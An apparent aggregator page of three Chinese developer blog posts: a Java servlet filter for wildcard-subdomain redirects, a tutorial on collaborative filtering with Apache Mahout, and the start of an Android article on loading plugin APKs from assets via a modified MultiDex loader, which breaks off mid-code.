Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 11804 articles
Browse latest View live

利用泛解析和Filter实现动态二级域名

$
0
0

itEye等网站有个很不错的机制,就是每个用户都有一个永久的二级域名 正好所在的项目也想实现这样的功能,研究了一下,发现用过滤器实现最简单,

http://7784.namezhou.com 实际打开的是 http://www.namezhou.com/7784

步骤如下:

 

1.去DNS供应商开启泛解析,就是加一条cname记录*.namezhou.com 指向www.namezhou.com

2.编写一个Filter,当检测到是二级域名xxx.namezhou.com时,把地址跳转成http://www.namezhou.com/xxx

代码如下:

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * 泛域名解析过滤器
 * @author namezhou
 * @since Dec 26, 2015
 */
public class DomainFilter implements Filter{
	private String mainDomain;//主域名裸域地址
	private String expectDomain;//排除域名,分号隔开
	public String getMainDomain() {
		return mainDomain;
	}
	public void setMainDomain(String mainDomain) {
		this.mainDomain = mainDomain;
	}
	public String getExpectDomain() {
		return expectDomain;
	}
	public void setExpectDomain(String expectDomain) {
		this.expectDomain = expectDomain;
	}
	@Override
	public void destroy() {
		
	}
	@Override
	public void doFilter(ServletRequest request, ServletResponse response,
			FilterChain chain) throws IOException, ServletException {
		String url = ((HttpServletRequest)request).getRequestURI();
		String host = request.getServerName();
		boolean redirect = false;
		if(host.equals(mainDomain)){
			//访问的裸域
			chain.doFilter(request, response);
		}else if(expectDomain!=null&&expectDomain.trim().length()>0){
			String[] arr = expectDomain.split(";");
			if(arr!=null&&arr.length>0){
				for (int i = 0; i < arr.length; i++) {
					if(host.equals(arr[i]+"."+mainDomain)){
						//排除的域,直接显示
						redirect = true;
						chain.doFilter(request, response);
					}
				}
			}
		}
		if(!redirect){
			//检查是不是有
			String id = host.replace("."+mainDomain, "");
			((HttpServletResponse)response).sendRedirect("http://www.namezhou.com/"+id);
		}
	}
	@Override
	public void init(FilterConfig arg0) throws ServletException {
		expectDomain = arg0.getInitParameter("expectDomain");
		mainDomain = arg0.getInitParameter("mainDomain");
	}
}

 3.配置该Filter

<!-- 泛域名解析过滤器 start --><filter><filter-name>domainFilter</filter-name><filter-class>com.namezhou.common.filter.DomainFilter</filter-class><init-param><param-name>mainDomain</param-name><param-value>namezhou.com</param-value></init-param><init-param><param-name>expectDomain</param-name><param-value>www;dev</param-value></init-param></filter><filter-mapping><filter-name>domainFilter</filter-name><url-pattern>/*</url-pattern></filter-mapping><!-- 泛域名解析过滤器 end -->

 

博客里面还有另外一种基于Apache rewrite模块的实现方法,与那种方法比较起来,过滤器实现方式

优点:简单,逻辑清晰,实现方便,

缺点:访问地址会变,当然也可以弄一个空iframe页面,去嵌入需要显示的页面,但略显山寨



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




基于协同过滤的推荐方法

$
0
0

协同过滤(Collaborative Filtering, CF)是推荐系统广泛使用的一种技术,它主要通过考虑用户(User)与用户之间、物品(Item)与物品之间的相似度(Similarity),来向用户推荐物品,常被用在电商网站中。其中,在推荐系统中最常使用的协同过滤方法,有如下4种:

  • 基于用户的协同过滤推荐
  • 基于物品的协同过滤推荐
  • 基于模型的协同过滤推荐
  • 混合协同过滤推荐

上面4种方法中,基于用户的协同过滤推荐、基于物品的协同过滤推荐都是基于内存的协同过滤推荐,一般在数据量较小的应用场景下,可以直接在线使用的实时推荐方法;基于模型的协同过滤推荐一般用于离线计算,它采用机器学习的方法,一般首相将用户偏好行为数据分成2个数据集(有时可能会将数据集分成k个子集,采用交叉验证的方式来提高模型精度),一个为训练集,一个为测试集,使用训练集数据来训练出推荐模型,然后使用测试集数据来评估模型的精度,当满足特定精度时,可以将得到的推荐模型应用于实际线上环境;混合协同过滤推荐,是综合基于内存的协同过滤(基于用户的协同过滤推荐、基于物品的协同过滤推荐)、基于模型的协同过滤推荐这两类方法,克服每一种协同过滤方法本身的缺点,比如基于内存的协同过滤推荐方法不适用于大量数据的推荐应用场景,而基于模型的协同过滤推荐方法由于所基于的数据多是大量历史记录,训练模型时间较长,它不适用于在线推荐场景,综合各种协同过滤推荐方法,取长补短,这样的推荐方法更适合实际复杂的推荐需求。

对象相似性度量

在介绍4种协同过滤推荐方法之前,我们先介绍一下有关相似性度量的问题:
基于协同过滤推荐方法,通过计算用户相似度、物品相似度来进行个性化推荐,那么我们结合Mahout机器学习库来说明各种相似性度量的计算方法,Mahout提供了分别针对用户、物品给出了一些相似性度量计算实现,有些是用户、物品可以共同使用的,如下类图所示:
mahout-similarities
上图中,绿色表示计算用户之间相似度、物品之间相似度都可以使用的相似性度量,而SpearmanCorrelationSimilarity只能用于计算用户的相似度。各种相似度说明如下所示:

  • EuclideanDistanceSimilarity

欧几里德距离,又称欧氏距离,在n维欧式空间中,计算欧几里德距离的公式,如下所示:
euclidean-distance
其中,x、y表示两个点的坐标,d(x,y)表示点x和y之间的距离。

  • PearsonCorrelationSimilarity

对于两个数据集X、Y,他们的相关性可以使用皮尔逊相关系数来表达,计算皮尔逊相关系数的公式,如下所示:
pearson_correlation_coefficient
其中,n分别表示两个数据集X与Y中数据点的个数,xi表示数据集X中第i个数据点,yi表示数据集Y中第i个数据点。

  • UncenteredCosineSimilarity

余弦相似度通过计算两个向量的夹角的余弦值,来表示两个向量的相似性,它的计算公式,如下所示:
cosine_similarity
其中,A和B表示两个向量。

  • LogLikelihoodSimilarity

Mahout采用了log-likelihood ratio(LLR)的方法计算相似度,对于事件A和事件B,我们考虑两个事件发生的次数,具有如下事件矩阵:

Event AEverything but A
Event Bk11k12
Everything but Bk21k22

其中:
k11:事件A与事件B同时发生的次数
k12:B事件发生,A事件未发生
k21:A事件发生,B事件未发生
k22:事件A和事件B都未发生
那么,计算LLR的公式如下:
likelihood_radio
其中,H表示香农熵。
在Mahout中给出的实现,如下代码所示:

  public static double logLikelihoodRatio(long k11, long k12, long k21, long k22) {
    Preconditions.checkArgument(k11 >= 0 && k12 >= 0 && k21 >= 0 && k22 >= 0);
    // note that we have counts here, not probabilities, and that the entropy is not normalized.
    double rowEntropy = entropy(k11 + k12, k21 + k22);
    double columnEntropy = entropy(k11 + k21, k12 + k22);
    double matrixEntropy = entropy(k11, k12, k21, k22);
    if (rowEntropy + columnEntropy < matrixEntropy) {
      // round off error
      return 0.0;
    }
    return 2.0 * (rowEntropy + columnEntropy - matrixEntropy);
  }

具体可以查阅相关资料。

  • TanimotoCoefficientSimilarity

Tanimoto相关系数来源于Jaccard距离,它表示两个数据集的相异度,即不相似度量。
计算Tanimoto相关系数的公式,如下所示:
tanimoto_distance
其中,A和B表示两个向量。

  • CityBlockSimilarity

曼哈顿距离有很多种叫法:城市街区距离、L1距离、L1范数、曼哈顿长度、Taxicab距离(出租车距离)。计算曼哈顿距离的公式,如下所示:
manhattan-distance
其中,x和y表示两个n维向量。

  • SpearmanCorrelationSimilarity

Spearman相关系数的计算公式,如下所示:
spearman_rank_correlation_coefficient
其中,di=xi-yi,n表示数据集的大小,xi与yi分别是数据集X、Y中的数据点。

下面,我们会对上面提到的4种协同过滤方法进行详细说明,其中会结合Apache Mahout,并给出相应的实现代码,以求能够更好地理解各种协同过滤方法。

基于用户的协同过滤推荐

基于用户的协同过滤推荐,不考虑用户、物品的属性(特征)信息,它主要是根据用户对物品的偏好(Preference)信息,发掘不同用户之间口味(Taste)的相似性,使用这种用户相似性来进行个性化推荐。基于用户的协同过滤推荐,它是以用户为中心,观察与该用户兴趣相似的一个用户的群体,将这个兴趣相似的用户群体所感兴趣的其他物品,推荐给该用户。下面我们通过一个例子来说明,如下图所示:
user_cf
如上图,已用户U1为中心,用户U1对物品I12、I13、I14有偏好行为,用户U3对物品I12、I13、I14、I31、I32、I33有偏好行为,而物品I12、I13、I14是用户U1和用户U3共同有偏好行为的物品,那么可以将用户U3有偏好行为但是用户U1没有的物品I31、I32、I33推荐给用户U1。
下面通过使用Mahout机器学习库实现,基于用户的协同过滤推荐,来了解计算用户相似度的方法,代码如下所示:

        final DataModel model = new FileDataModel(new File("src/main/resources/u.data"));
        UserSimilarity similarity = new PearsonCorrelationSimilarity(model);
        int n = 20;
        UserNeighborhood neighborhood = new NearestNUserNeighborhood(n, similarity, model);

        final UserBasedRecommender recommender = new GenericUserBasedRecommender(model, neighborhood, similarity);
        long userID = 200;
        int topN = 10;
        List<RecommendedItem> recommendations = recommender.recommend(userID, topN);
        for (RecommendedItem recommendation : recommendations) {
            System.out.println(recommendation.getItemID() + ": " + recommendation.getValue());
        }

对于编号为200的用户,使用皮尔逊相关系数(PearsonCorrelationSimilarity )和NearestNUserNeighborhood计算用户相似度,得到的Top 10推荐物品及其评分列表,如下所示:

316: 5.0
895: 4.6441307
100: 4.6418004
315: 4.564026
896: 4.5467043
285: 4.5023627
344: 4.475635
346: 4.4689593
272: 4.4235177
750: 4.297509

基于用户的协同过滤推荐,比较适合于用户数量少于物品数量的应用,这样,通过更多的用户对物品的偏好行为历史数据,维护用户的相似关系,能够更好地计算出用户的相似性。

基于物品的协同过滤推荐

基于物品的协同过滤推荐,也不考虑用户、物品的属性(特征)信息,它也是根据用户对物品的偏好(Preference)信息,发掘不同物品之间的相似性。基于物品的协同过滤推荐,是以物品为中心,通过观察用户对物品的偏好行为,将相似的物品计算出来,可以认为这些相似的物品属于特定的一组类别,然后根据某个用户的历史兴趣计算其所属的类别,然后看该类别是否属于这些成组类别中的一个,最后将属于成组类别所对应的物品推荐给该用户。下面我们也通过一个例子来说明,如下图所示:
item_cf
上图中,用户U1对物品I5和I6有偏好行为,用户U3对物品I1和I6有偏好行为,那么我们可以向U1推荐用户U3所感兴趣的物品I1。同样,用户U7对物品I3、I4、I7有偏好行为,用户U9对物品I4、I5、I7有偏好行为,那么我们可以向用户U7推荐用户U9所感兴趣的物品I5,因为用户U7和用户U9都对I4、I7有过偏好行为;可以向用户U9推荐用户U7感兴趣的物品I3,这个2个用户可能对彼此其他感兴趣的物品也都会发生偏好行为。
基于用户的协同过滤推荐,使用Mahout机器学习库计算,来了解计算物品相似度的方法,代码如下所示:

        final DataModel model = new FileDataModel(new File("src/main/resources/u.data"));
        ItemSimilarity similarity = new LogLikelihoodSimilarity(model);

        final ItemBasedRecommender recommender = new GenericItemBasedRecommender(model, similarity);
        long userID = 200;
        int topN = 10;
        List<RecommendedItem> recommendations = recommender.recommend(userID, topN);
        for (RecommendedItem recommendation : recommendations) {
            System.out.println(recommendation.getItemID() + ": " + recommendation.getValue());
        }

对于编号为200的用户,使用对数似然(PearsonCorrelationSimilarity )计算物品相似度,得到的Top 10推荐物品及其评分列表,如下所示:

1431: 4.6409993
1156: 4.494837
1127: 4.4886928
1234: 4.481482
1294: 4.442889
1122: 4.442692
1654: 4.419746
1593: 4.419684
1595: 4.392633
1596: 4.392633

基于物品的协同过滤推荐,比较适合于物品远远少于用户的应用,这样可以更好地维护物品之间的相似关系。

基于模型的协同过滤推荐

基于模型的协同过滤推荐,是采用机器学习的方法,通过离线计算实现推荐的,通常它会首先根据历史数据,将数据集分成训练集和测试集两个数据集,使用训练集进行训练生成推荐模型,然后将推荐模型应用到测试集上,评估模型的优劣,如果模型到达实际所需要的精度,最后可以使用训练得到的推荐模型进行推荐(预测)。可见,这种方法使用离线的历史数据,进行模型训练和评估,需要耗费较长的时间,依赖于实际的数据集规模、机器学习算法计算复杂度。有关推荐模型的计算方法,通过机器学习算法实现,我们简单说明一下。
对于我们的用户历史行为数据,我们关注的是用户与物品之间的关系,可以生成一个用户-物品矩阵,矩阵元素表示用户对物品的偏好行为(或者是评分),如果用户和物品的数量都很大,那么可见这是一个超大稀疏矩阵,因为并不是每用户都对所有的物品感兴趣,只有每个用户感兴趣的物品才会有存在对应的偏好值,没有感兴趣的都为空缺值,最终我们是要从这些空缺值对应的物品中选择出一些用户可能会感兴趣的,推荐给用户,这样才能实现个性化推荐。
下面,我们假设使用用户-物品的评分矩阵来实现推荐,定义评分矩阵为R,那么通过将R分解为另外两个低秩矩阵U和M,由于R是稀疏矩阵,很多位置没有值,只能通过计算使用U与M的乘积近似矩阵R,那么只要最终得到的误差尽量小,能满足实际需要即可,一般使用均方根误差(Root mean square error,RMSE)来衡量,那么就要计算一个目标函数的最小值,如下函数公式所示:
als
如果计算该目标函数的最小值,可能需要大量的迭代计算,甚至是不可行的,在满足实际需要精度的前提下,那么我们可以允许一定的误差,通过设定多个参数来控制计算。计算矩阵分解有很多方法,如:随机梯度下降(Stochastic gradient descent,SGD)、交替最小二乘法(Alternating Least Squares,ALS)、加权交替最小二乘法(ALS with Weighted-λ-Regularization,ALS-WR),有关实际计算的理论,可以参考相关资料。
Mahout采用了ALS-WR方法实现矩阵分解,目标函数如下公式所示:
als-wr
其中:
als-wr-alpha
这里,alpha表示的是置信参数,在Mahout中使用隐式反馈(Implicit Feedback )选项时,需要指定该参数;lambda表示的是正则化参数,为了防止求解得到的模型过拟合(Overfitting),在目标函数上,加上一个正则项。
我们可以通过它提供的API来实现一个离线的基于模型的协同过滤推荐,下面我们基于MovieLens数据集,介绍具体使用过程:

  • 准备训练集和测试集

我们选择使用MovieLens数据集,2亿的评分数据(大约有500多MB),首先将数据集进行分割:80%用作训练集,20%用作测试集,Mahout提供分割数据集的工具,分割执行如下命令:

bin/mahout splitDataset -i /test/shiyj/data/ml-20m/ratings.csv -o /test/shiyj/data/splitDS -t 0.8 -p 0.2 --tempDir /tmp/mahout/

这样,生成2个数据集:/test/shiyj/data/splitDS/probeSet和/test/shiyj/data/splitDS/trainingSet。

  • 训练推荐模型

使用训练集/test/shiyj/data/splitDS/trainingSet来训练推荐模型,执行如下命令:

bin/mahout parallelALS -i /test/shiyj/data/splitDS/trainingSet -o /test/shiyj/data/output/als --lambda 0.1 --implicitFeedback true --alpha 0.065 --numFeatures 10 --numIterations 10 --numThreadsPerSolver 2 --tempDir /tmp/mahout

上面命令执行结果,数据会在/test/shiyj/data/output/als/目录下面,可以看到生成如下目录:

/test/shiyj/data/output/als/U
/test/shiyj/data/output/als/M
/test/shiyj/data/output/als/userRatings

这些目录下的文件就是推荐模型对应的数据文件,可以用于后面步骤中的评估和最终推荐。

  • 评估模型

评估模型使用Mahout的evaluateFactorization命令,需要输入上一步生成的模型文件,如下所示:

bin/mahout evaluateFactorization -i /test/shiyj/data/splitDS/probeSet -o /test/shiyj/data/output/als/rmse --userFeatures /test/shiyj/data/output/als/U --itemFeatures /test/shiyj/data/output/als/M --tempDir /tmp/mahout/rmse

可以看到,最后输出了RMSE,在文件/test/shiyj/data/output/als/rmse/rmse.txt中。

  • 推荐

如果我们训练得到的模型在评估以后,误差能够满足实际推荐业务需要,则可以直接用于实际的推荐系统。Mahout提供了一个基于命令行的推荐方式,可以使用recommendfactorized命令,如下所示:
bin/mahout recommendfactorized -i /test/shiyj/data/output/als/userRatings -o /test/shiyj/data/output/als/recommendations –userFeatures /test/shiyj/data/output/als/U –itemFeatures /test/shiyj/data/output/als/M –numRecommendations 10 –maxRating 5
上面指定了,为每个用户选择Top 10个物品作为推荐,并计算出了评分,执行上述命令,得到推荐结果,在目录/test/shiyj/data/output/als/recommendations中,该目录下的文件内容,示例如下所示:

1    [2571:0.65515196,1214:0.63967377,1210:0.5870833,1206:0.58017606,750:0.53064054,1270:0.52714694,1527:0.492824,5952:0.4770518,480:0.4517607,1580:0.43877804]
2    [1196:0.22062394,1210:0.21882197,1198:0.19199324,1240:0.1805339,2571:0.17224884,1200:0.16999668,1291:0.15613373,858:0.14950913,1097:0.14854312,1197:0.1480078]
3    [1196:0.8909414,1214:0.8081364,1270:0.6871423,924:0.64723164,858:0.6388401,1136:0.6263018,1291:0.58192265,1036:0.56856805,750:0.55387926,296:0.5497311]
4    [457:0.34563774,592:0.3424035,150:0.32874095,590:0.32829174,349:0.3071443,153:0.29904938,316:0.29723072,110:0.28530872,344:0.28501293,434:0.27692935]
5    [1:0.64543045,356:0.55862373,733:0.48568383,32:0.48033717,588:0.46519792,62:0.46215564,590:0.4575655,110:0.44682676,597:0.420567,95:0.41918993]
6    [648:0.45023045,736:0.4386352,95:0.34667525,786:0.3351175,1073:0.32370603,32:0.31021506,1210:0.30251333,608:0.2933381,7:0.28936782,36:0.28653657]
7    [1198:0.52251583,2028:0.51249886,1210:0.5006326,1197:0.48272145,1291:0.46804646,2571:0.45988122,1784:0.45771137,2797:0.4538604,1610:0.45373544,1704:0.4534099]
8    [480:0.86542463,318:0.7133561,434:0.6677318,185:0.6504521,208:0.6451925,161:0.64106977,253:0.6124166,34:0.5435114,586:0.5240867,288:0.50809836]
9    [2858:0.16401465,2762:0.12627697,2571:0.123330824,2997:0.11046047,296:0.10837068,2028:0.10639984,2329:0.103341825,1704:0.10107514,1089:0.100894466,50:0.098862514]
10    [1270:0.32084247,2571:0.2983431,608:0.29643345,1291:0.29354194,780:0.2851402,1036:0.27120706,1214:0.2681493,1197:0.26402688,1097:0.2634927,1200:0.24816594]

实际应用中,为了加快在线上推荐系统的检索,这些结果,可以考虑将数据存储到ElasticSearch或者SolrCloud系统中,方便查询。

混合协同过滤推荐

我们前面已经了解到,各种推荐方法都有其优点和缺点,那么对于实际复杂的需求,没有一种推荐方法能解决所有的问题,所以根据不同的需求采用组合多种推荐方法,共同来完成实际的推荐需求。
我们引用IBM Developerworks上一篇文章中介绍的,基于混合协推荐的实现方法,常用的有如下几种:

  1. 加权的混合(Weighted Hybridization): 用线性公式将几种不同的推荐按照一定权重组合起来,具体权重的值需要在测试数据集上反复实验,从而达到最好的推荐效果。
  2. 切换的混合(Switching Hybridization):其实对于不同的情况(数据量,系统运行状况,用户和物品的数目等),推荐策略可能有很大的不同,那么切换的混合方式,就是允许在不同的情况下,选择最为合适的推荐机制计算推荐。
  3. 分区的混合(Mixed Hybridization):采用多种推荐机制,并将不同的推荐结果分不同的区显示给用户。
  4. 分层的混合(Meta-Level Hybridization): 采用多种推荐机制,并将一个推荐机制的结果作为另一个的输入,从而综合各个推荐机制的优缺点,得到更加准确的推荐。

我们可以想到,根据前面介绍的基本协同过滤推荐方法,作为入门,可以这样实现一个混合协同过滤系统:

  • 根据用户的历史行为数据,离线计算推荐模型,得到模型A;
  • 为了使推荐满足实时行要求,可以选择使用基于用户的协同过滤推荐/基于物品的协同过滤推荐,基于实时用户行为数据,得到模型B;
  • 对于用户的冷启动问题,可以考虑采用统计的方式,找到热门的物品推荐给新用户,得到模型C;
  • 对于老用户,可以将模型A和B的结果进行一个排序筛选,得到一个新的Top N推荐列表。

这样,得到的推荐系统,就是一个混合推荐系统。

参考资料

Android插件化(一):使用改进的MultiDex动态加载assets中的apk

$
0
0

Android插件化(一):使用改进的MultiDex动态加载assets中的apk

简介

为了解决65535方法数超标的问题,Google推荐使用MultiDex来加载classes2.dex,classes3.dex等等,其基本思想就是在运行时动态修改ClassLoader,以达到动态加载类的目的。为了更好的理解MultiDex的工作原理,可以先看一下ClassLoader的工作原理[1].然后参见PathClassLoader的源码,当然,它继承自BaseDexClassLoader,主要源码都在BaseDexClassLoader中。MultiDex加载离线apk的过程如下:
MultiDex

我们可以在Application的onCreate方法或者Activity的attachBaseContext方法中开发加载。

动态加载assets中的apk

根据MultiDex的源码,我们可以修改其install方法,然后从assets资源中解压出所需要加载的apk文件,然后调用installSecondaryDexes方法,将其加载到当前Application的ClassLoader当中,这样,在运行的时候,就可以通过当前的ClassLoader查找到离线apk中的类了。

[AssetsMultiDexLoader.class]

package net.mobctrl.hostapk;

import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.ListIterator;
import java.util.Set;
import java.util.zip.ZipFile;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Build;
import android.util.Log;
import dalvik.system.DexFile;

/**
 * @Author Zheng Haibo
 * @Mail mochuan.zhb@alibaba-inc.com
 * @Company Alibaba Group
 * @PersonalWebsite http://www.mobctrl.net
 * @version $Id: AssetsDex.java, v 0.1 2015年12月10日 下午5:36:23 mochuan.zhb Exp $
 * @Description ClassLoader
 */
public class AssetsMultiDexLoader {

    private static final String TAG = "AssetsApkLoader";

    private static boolean installed = false;

    private static final int MAX_SUPPORTED_SDK_VERSION = 20;

    private static final int MIN_SDK_VERSION = 4;

    private static final Set<String> installedApk = new HashSet<String>();

    private AssetsMultiDexLoader() {

    }

    /**
     * 安装Assets中的apk文件
     * 
     * @param context
     */
    public static void install(Context context) {
        Log.i(TAG, "install...");
        if (installed) {
            return;
        }
        try {
            clearOldDexDir(context);
        } catch (Throwable t) {
            Log.w(TAG,"Something went wrong when trying to clear old MultiDex extraction, "
                            + "continuing without cleaning.", t);
        }
        AssetsManager.copyAllAssetsApk(context);
        Log.i(TAG, "install");
        if (Build.VERSION.SDK_INT < MIN_SDK_VERSION) {
            throw new RuntimeException("Multi dex installation failed. SDK "
                    + Build.VERSION.SDK_INT
                    + " is unsupported. Min SDK version is " + MIN_SDK_VERSION
                    + ".");
        }
        try {
            ApplicationInfo applicationInfo = getApplicationInfo(context);
            if (applicationInfo == null) {
                // Looks like running on a test Context, so just return without
                // patching.
                return;
            }
            synchronized (installedApk) {
                String apkPath = applicationInfo.sourceDir;
                if (installedApk.contains(apkPath)) {
                    return;
                }
                installedApk.add(apkPath);
                if (Build.VERSION.SDK_INT > MAX_SUPPORTED_SDK_VERSION) {
                    Log.w(TAG,"MultiDex is not guaranteed to work in SDK version "
                                    + Build.VERSION.SDK_INT
                                    + ": SDK version higher than "
                                    + MAX_SUPPORTED_SDK_VERSION
                                    + " should be backed by "
                                    + "runtime with built-in multidex capabilty but it's not the "
                                    + "case here: java.vm.version=\""
                                    + System.getProperty("java.vm.version")
                                    + "\"");
                }
                /*
                 * The patched class loader is expected to be a descendant of
                 * dalvik.system.BaseDexClassLoader. We modify its
                 * dalvik.system.DexPathList pathList field to append additional
                 * DEX file entries.
                 */
                ClassLoader loader;
                try {
                    loader = context.getClassLoader();
                } catch (RuntimeException e) {
                    /*
                     * Ignore those exceptions so that we don't break tests
                     * relying on Context like a android.test.mock.MockContext
                     * or a android.content.ContextWrapper with a null base
                     * Context.
                     */
                    Log.w(TAG,"Failure while trying to obtain Context class loader. "
                                    + "Must be running in test mode. Skip patching.",
                            e);
                    return;
                }
                if (loader == null) {
                    // Note, the context class loader is null when running
                    // Robolectric tests.
                    Log.e(TAG,"Context class loader is null. Must be running in test mode. "
                                    + "Skip patching.");
                    return;
                }
                // 获取dex文件列表
                File dexDir = context.getDir(AssetsManager.APK_DIR, Context.MODE_PRIVATE);
                File[] szFiles = dexDir.listFiles(new FilenameFilter() {

                    @Override
                    public boolean accept(File dir, String filename) {
                        return filename.endsWith(AssetsManager.FILE_FILTER);
                    }
                });
                List<File> files = new ArrayList<File>();
                for (File f : szFiles) {
                    Log.i(TAG, "load file:" + f.getName());
                    files.add(f);
                }
                Log.i(TAG, "loader before:" + context.getClassLoader());
                installSecondaryDexes(loader, dexDir, files);
                Log.i(TAG, "loader end:" + context.getClassLoader());
            }
        } catch (Exception e) {
            Log.e(TAG, "Multidex installation failure", e);
            throw new RuntimeException("Multi dex installation failed ("
                    + e.getMessage() + ").");
        }
        installed = true;
        Log.i(TAG, "install done");
    }

    private static ApplicationInfo getApplicationInfo(Context context)
            throws NameNotFoundException {
        PackageManager pm;
        String packageName;
        try {
            pm = context.getPackageManager();
            packageName = context.getPackageName();
        } catch (RuntimeException e) {
            /*
             * Ignore those exceptions so that we don't break tests relying on
             * Context like a android.test.mock.MockContext or a
             * android.content.ContextWrapper with a null base Context.
             */
            Log.w(TAG,"Failure while trying to obtain ApplicationInfo from Context. "
                            + "Must be running in test mode. Skip patching.", e);
            return null;
        }
        if (pm == null || packageName == null) {
            // This is most likely a mock context, so just return without
            // patching.
            return null;
        }
        ApplicationInfo applicationInfo = pm.getApplicationInfo(packageName,
                PackageManager.GET_META_DATA);
        return applicationInfo;
    }

    private static void installSecondaryDexes(ClassLoader loader, File dexDir,
            List<File> files) throws IllegalArgumentException,
            IllegalAccessException, NoSuchFieldException,
            InvocationTargetException, NoSuchMethodException, IOException {
        if (!files.isEmpty()) {
            if (Build.VERSION.SDK_INT >= 19) {
                V19.install(loader, files, dexDir);
            } else if (Build.VERSION.SDK_INT >= 14) {
                V14.install(loader, files, dexDir);
            } else {
                V4.install(loader, files);
            }
        }
    }

    /**
     * Locates a given field anywhere in the class inheritance hierarchy.
     *
     * @param instance
     *            an object to search the field into.
     * @param name
     *            field name
     * @return a field object
     * @throws NoSuchFieldException
     *             if the field cannot be located
     */
    private static Field findField(Object instance, String name)
            throws NoSuchFieldException {
        for (Class<?> clazz = instance.getClass(); clazz != null; clazz = clazz
                .getSuperclass()) {
            try {
                Field field = clazz.getDeclaredField(name);

                if (!field.isAccessible()) {
                    field.setAccessible(true);
                }

                return field;
            } catch (NoSuchFieldException e) {
                // ignore and search next
            }
        }

        throw new NoSuchFieldException("Field " + name + " not found in "
                + instance.getClass());
    }

    /**
     * Locates a given method anywhere in the class inheritance hierarchy.
     *
     * @param instance
     *            an object to search the method into.
     * @param name
     *            method name
     * @param parameterTypes
     *            method parameter types
     * @return a method object
     * @throws NoSuchMethodException
     *             if the method cannot be located
     */
    private static Method findMethod(Object instance, String name,
            Class<?>... parameterTypes) throws NoSuchMethodException {
        for (Class<?> clazz = instance.getClass(); clazz != null; clazz = clazz
                .getSuperclass()) {
            try {
                Method method = clazz.getDeclaredMethod(name, parameterTypes);

                if (!method.isAccessible()) {
                    method.setAccessible(true);
                }

                return method;
            } catch (NoSuchMethodException e) {
                // ignore and search next
            }
        }

        throw new NoSuchMethodException("Method " + name + " with parameters "
                + Arrays.asList(parameterTypes) + " not found in "
                + instance.getClass());
    }

    /**
     * Replace the value of a field containing a non null array, by a new array
     * containing the elements of the original array plus the elements of
     * extraElements.
     * 
     * @param instance
     *            the instance whose field is to be modified.
     * @param fieldName
     *            the field to modify.
     * @param extraElements
     *            elements to append at the end of the array.
     */
    private static void expandFieldArray(Object instance, String fieldName,
            Object[] extraElements) throws NoSuchFieldException,
            IllegalArgumentException, IllegalAccessException {
        Field jlrField = findField(instance, fieldName);
        Object[] original = (Object[]) jlrField.get(instance);
        Object[] combined = (Object[]) Array.newInstance(original.getClass()
                .getComponentType(), original.length + extraElements.length);
        System.arraycopy(original, 0, combined, 0, original.length);
        System.arraycopy(extraElements, 0, combined, original.length,
                extraElements.length);
        jlrField.set(instance, combined);
    }

    private static void clearOldDexDir(Context context) throws Exception {
        File dexDir = context.getDir(AssetsManager.APK_DIR, Context.MODE_PRIVATE);
        if (dexDir.isDirectory()) {
            Log.i(TAG, "Clearing old secondary dex dir (" + dexDir.getPath()
                    + ").");
            File[] files = dexDir.listFiles();
            if (files == null) {
                Log.w(TAG, "Failed to list secondary dex dir content ("
                        + dexDir.getPath() + ").");
                return;
            }
            for (File oldFile : files) {
                Log.i(TAG, "Trying to delete old file " + oldFile.getPath()
                        + " of size " + oldFile.length());
                if (!oldFile.delete()) {
                    Log.w(TAG, "Failed to delete old file " + oldFile.getPath());
                } else {
                    Log.i(TAG, "Deleted old file " + oldFile.getPath());
                }
            }
            if (!dexDir.delete()) {
                Log.w(TAG,"Failed to delete secondary dex dir "
                                + dexDir.getPath());
            } else {
                Log.i(TAG, "Deleted old secondary dex dir " + dexDir.getPath());
            }
        }
    }

    /**
     * Installer for platform versions 19.
     */
    private static final class V19 {

        private static void install(ClassLoader loader,
                List<File> additionalClassPathEntries, File optimizedDirectory)
                throws IllegalArgumentException, IllegalAccessException,
                NoSuchFieldException, InvocationTargetException,
                NoSuchMethodException {
            /*
             * The patched class loader is expected to be a descendant of
             * dalvik.system.BaseDexClassLoader. We modify its
             * dalvik.system.DexPathList pathList field to append additional DEX
             * file entries.
             */
            Field pathListField = findField(loader, "pathList");
            Object dexPathList = pathListField.get(loader);
            ArrayList<IOException> suppressedExceptions = new ArrayList<IOException>();
            expandFieldArray(
                    dexPathList,"dexElements",
                    makeDexElements(dexPathList, new ArrayList<File>(
                            additionalClassPathEntries), optimizedDirectory,
                            suppressedExceptions));
            if (suppressedExceptions.size() > 0) {
                for (IOException e : suppressedExceptions) {
                    Log.w(TAG, "Exception in makeDexElement", e);
                }
                Field suppressedExceptionsField = findField(loader,"dexElementsSuppressedExceptions");
                IOException[] dexElementsSuppressedExceptions = (IOException[]) suppressedExceptionsField
                        .get(loader);

                if (dexElementsSuppressedExceptions == null) {
                    dexElementsSuppressedExceptions = suppressedExceptions
                            .toArray(new IOException[suppressedExceptions
                                    .size()]);
                } else {
                    IOException[] combined = new IOException[suppressedExceptions
                            .size() + dexElementsSuppressedExceptions.length];
                    suppressedExceptions.toArray(combined);
                    System.arraycopy(dexElementsSuppressedExceptions, 0,
                            combined, suppressedExceptions.size(),
                            dexElementsSuppressedExceptions.length);
                    dexElementsSuppressedExceptions = combined;
                }

                suppressedExceptionsField.set(loader,
                        dexElementsSuppressedExceptions);
            }
        }

        /**
         * A wrapper around
         * {@code private static final dalvik.system.DexPathList#makeDexElements}
         * .
         */
        private static Object[] makeDexElements(Object dexPathList,
                ArrayList<File> files, File optimizedDirectory,
                ArrayList<IOException> suppressedExceptions)
                throws IllegalAccessException, InvocationTargetException,
                NoSuchMethodException {
            Method makeDexElements = findMethod(dexPathList, "makeDexElements",
                    ArrayList.class, File.class, ArrayList.class);

            return (Object[]) makeDexElements.invoke(dexPathList, files,
